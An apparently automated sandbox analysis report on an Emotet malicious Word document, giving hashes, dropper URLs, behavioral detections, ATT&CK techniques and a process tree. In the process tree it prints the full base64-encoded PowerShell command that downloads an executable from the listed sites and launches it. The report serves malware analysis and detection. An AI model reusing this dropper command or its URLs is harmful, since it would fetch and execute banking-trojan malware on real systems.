emotet | 94e91a89c274f38ce1057ecb894a643c2c0a2a4eb43cef7bc2a7c6a950f87476

Analysis

max time kernel
135s
max time network
131s
platform
windows10_x64
resource
win10
submitted
11/08/2020, 15:43

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General

Target
emotet_e2_94e91a89c274f38ce1057ecb894a643c2c0a2a4eb43cef7bc2a7c6a950f87476_2020-08-11__154124._doc.doc
Size 224KB
Sample200811-ymdrc5rl6j
SHA256 94e91a89c274f38ce1057ecb894a643c2c0a2a4eb43cef7bc2a7c6a950f87476
MD5 a6915034ccda617b8d139c231f97cc93
SHA1 45c911c5d4c230d42a57fac38c6884c748911a7f
SHA512 3bc38736b9dfc1e6393ce309c988beabf2515840c7a676ad79f7b53d43f28628c0c6bdc28ebb8ac67fb8086d9356c15cd61ecd31bf80f5d5319ff4f651d1912a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://dandorahiphopcity.com/cgi-bin/zblw9_5hsm_1ex2pyy/
exe.dropper
http://coparmexpuebla.org/documentos/k_n_iv8ku/
exe.dropper
http://cryptokuota.com/assets/b_z2_cyikfkk/
exe.dropper
http://culturizate.es/cache/4_zhy52_gpw/
exe.dropper
http://ezerangyal.hu/cgi-bin/y_0_n4/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3724	772	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1680-14-0x0000000000A40000-0x0000000000A4C000-memory.dmp	emotet
behavioral2/memory/1680-14-0x0000000000A40000-0x0000000000A4C000-memory.dmp	emotet
behavioral2/memory/2092-18-0x0000000000900000-0x000000000090C000-memory.dmp	emotet
behavioral2/memory/2092-18-0x0000000000900000-0x000000000090C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	3724	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1680	768.exe
2092	kbdgeooa.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\DbgModel\kbdgeooa.exe	768.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3844	WINWORD.EXE
3844	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3724	powersheLL.exe
3724	powersheLL.exe
3724	powersheLL.exe
2092	kbdgeooa.exe
2092	kbdgeooa.exe
2092	kbdgeooa.exe
2092	kbdgeooa.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3724	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
1680	768.exe
1680	768.exe
2092	kbdgeooa.exe
2092	kbdgeooa.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1680 wrote to memory of 2092	1680	768.exe	76
PID 1680 wrote to memory of 2092	1680	768.exe	76
PID 1680 wrote to memory of 2092	1680	768.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_94e91a89c274f38ce1057ecb894a643c2c0a2a4eb43cef7bc2a7c6a950f87476_2020-08-11__154124._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3844

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAEYAVgBYAEkAawBsAHcAPQAnAFQATgBaAFUAWABmAG4AbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAFUAUgBJAHQAeQBQAHIAbwBgAFQATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEgAWgBCAEUARABxAHQAbQAgAD0AIAAnADcANgA4ACcAOwAkAFgASgBHAEEATQBqAGgAdQA9ACcAVABQAEgATwBZAGUAawBkACcAOwAkAEsASQBNAEYAUwBwAHYAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASABaAEIARQBEAHEAdABtACsAJwAuAGUAeABlACcAOwAkAE0AWgBDAFQAVgBpAGMAbwA9ACcATQBCAFYAUgBRAHcAegBwACcAOwAkAFYATABEAFgAUABkAHgAYwA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAEwASQBlAE4AdAA7ACQAQwBCAFYAVwBOAHIAbwB1AD0AJwBoAHQAdABwAHMAOgAvAC8AZABhAG4AZABvAHIAYQBoAGkAcABoAG8AcABjAGkAdAB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AegBiAGwAdwA5AF8ANQBoAHMAbQBfADEAZQB4ADIAcAB5AHkALwAqAGgAdAB0AHAAOgAvAC8AYwBvAHAAYQByAG0AZQB4AHAAdQBlAGIAbABhAC4AbwByAGcALwBkAG8AYwB1AG0AZQBuAHQAbwBzAC8AawBfAG4AXwBpAHYAOABrAHUALwAqAGgAdAB0AHAAOgAvAC8AYwByAHkAcAB0AG8AawB1AG8AdABhAC4AYwBvAG0ALwBhAHMAcwBlAHQAcwAvAGIAXwB6ADIAXwBjAHkAaQBrAGYAawBrAC8AKgBoAHQAdABwADoALwAvAGMAdQBsAHQAdQByAGkAegBhAHQAZQAuAGUAcwAvAGMAYQBjAGgAZQAvADQAXwB6AGgAeQA1ADIAXwBnAHAAdwAvACoAaAB0AHQAcAA6AC8ALwBlAHoAZQByAGEAbgBnAHkAYQBsAC4AaAB1AC8AYwBnAGkALQBiAGkAbgAvAHkAXwAwAF8AbgA0AC8AJwAuACIAcwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEUASgBPAEIAcABwAGQAPQAnAE0AWgBCAFEATgBjAHQAegAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABTAFgASABMAGoAegBqACAAaQBuACAAJABDAEIAVgBXAE4AcgBvAHUAKQB7AHQAcgB5AHsAJABWAEwARABYAFAAZAB4AGMALgAiAGQAYABvAGAAVwBOAGwATwBhAEQARgBpAGAATABlACIAKAAkAFgAUwBYAEgATABqAHoAagAsACAAJABLAEkATQBGAFMAcAB2AGIAKQA7ACQAUQBFAE4AWABZAHgAYQB1AD0AJwBBAEIAWQBMAE8AaQBpAGMAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLAEkATQBGAFMAcAB2AGIAKQAuACIATABFAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADkAMwAwADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBFAGAAQQBUAGUAIgAoACQASwBJAE0ARgBTAHAAdgBiACkAOwAkAFkAWABOAEQAUgByAHEAbwA9ACcAVwBPAFQAWABRAGIAagBsACcAOwBiAHIAZQBhAGsAOwAkAEsARwBMAE4ASAB2AG8AYgA9ACcAQgBLAFMASABLAGQAaABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAQQBXAEcASQBpAHQAeAA9ACcASABEAEgASgBGAHgAYQBzACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3724

C:\Users\Admin\768.exe
C:\Users\Admin\768.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\SysWOW64\DbgModel\kbdgeooa.exe
  "C:\Windows\SysWOW64\DbgModel\kbdgeooa.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2092

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1680-14-0x0000000000A40000-0x0000000000A4C000-memory.dmp

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memory/1680-13-0x000000000065A000-0x000000000065C000-memory.dmp

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memory/2092-18-0x0000000000900000-0x000000000090C000-memory.dmp

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memory/2092-17-0x00000000006AC000-0x00000000006AD000-memory.dmp

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memory/3724-8-0x00007FF984520000-0x00007FF984F0C000-memory.dmp

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memory/3724-9-0x000001857D7E0000-0x000001857D7E1000-memory.dmp

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memory/3724-10-0x000001857D990000-0x000001857D991000-memory.dmp

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memory/3844-0-0x00007FF98C990000-0x00007FF98D056000-memory.dmp

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memory/3844-7-0x000001F1708AA000-0x000001F1708BE000-memory.dmp

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memory/3844-6-0x000001F1708AA000-0x000001F1708BE000-memory.dmp

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memory/3844-5-0x000001F1708AA000-0x000001F1708BE000-memory.dmp

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memory/3844-4-0x000001F1708AA000-0x000001F1708BE000-memory.dmp

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memory/3844-3-0x000001F1706FE000-0x000001F170703000-memory.dmp

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memory/3844-2-0x000001F1706FE000-0x000001F170703000-memory.dmp

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memory/3844-1-0x000001F1706FE000-0x000001F170703000-memory.dmp

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